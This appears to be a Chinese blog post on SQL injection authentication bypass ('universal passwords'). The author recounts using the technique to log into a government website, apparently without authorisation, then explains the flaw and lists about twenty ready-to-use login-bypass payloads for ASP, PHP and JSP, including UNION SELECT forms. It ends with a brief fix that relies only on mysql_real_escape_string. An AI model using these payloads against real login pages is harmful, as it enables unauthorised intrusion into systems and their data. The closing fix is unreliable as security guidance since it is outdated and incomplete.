💎一站式轻松地调用各大LLM模型接口,支持GPT4、智谱、星火、月之暗面及文生图 广告
本来都不打算讲这个漏洞的(感觉太low了),但是在最近的一次渗透测试中,居然发现了这个漏洞,而且还是政府的网站……所以还是打算讲一下吧 最近在一次爬网站地址时,发现了这个登录界面,随手输入了一个万能密码,没想到居然进去了 漏洞原理: 网站把密码放到数据库中,在登陆验证中一般都用以下sql查询语句去查找数据库 ``` sql=select * from user where username=’username’  sql=”select * from user where username='”&username&”‘and pass='”& pass&'” ``` 假设数据库中存放用户信息的表是admin,其中存放用户名的字段是username,存放密码的字段是password,在用户验证页面中用来接收用户所输入的用户名和密码的变量也分别是username和password,当用户在用户验证页面输入用户名和密码后,会提交给如下的语句进行处理: ``` select * from admin where `username` = ‘$userrname’ and `password` = ‘$password’ 这样,当用户输入用户名’or ” = ‘时,相应的语句就变成了 select * from admin where `username` = ‘’ or ‘’ =‘’and `password` = ‘’ ``` 在这个语句中,where后面所指定的条件永久成立,因而就可以绕过身份验证,也就成为了所谓的万能密码。 万能密码中开头和结尾的单引号,主要是为了将查询语句中引用变量的单引号闭合。因而掌握了这个特点之后,我们就可以来任意构造万能密码,比如下面的几种形式: ``` asp aspx万能密码 1: “or “a”=”a 2: ‘)or(‘a’=’a 3:or 1=1– 4:’or 1=1– 5:a’or’ 1=1– 6: “or 1=1– 7:’or’a’=’a 8: “or”=”a’=’a 9:’or”=’ 10:’or’=’or’ 11: 1 or ‘1’=’1’=1 12: 1 or ‘1’=’1′ or 1=1 13: ‘OR 1=1%00 14: “or 1=1%00 15: ‘xor 16: 新型万能登陆密码 用户名 ‘ UNION Select 1,1,1 FROM admin Where ”=’ (替换表名admin) 密码 1 Username=-1%cf’ union select 1,1,1 as password,1,1,1 %23 Password=1 17..admin’ or ‘a’=’a 密码随便 ``` PHP万能密码 ``` ‘or’=’or’ ‘or 1=1/* 字符型 GPC是否开都可以使用 User: something Pass: ‘ OR ‘1’=’1 jsp 万能密码 1’or’1’=’1 admin’ OR 1=1/* 用户名:admin 系统存在这个用户的时候 才用得上 密码:1’or’1’=’1 ``` 修复方案: 修改根目录下的post.php文件 ``` $user =$_POST[‘user’];修改成 $user = mysql_real_escape_string($_POST[‘user’]); ```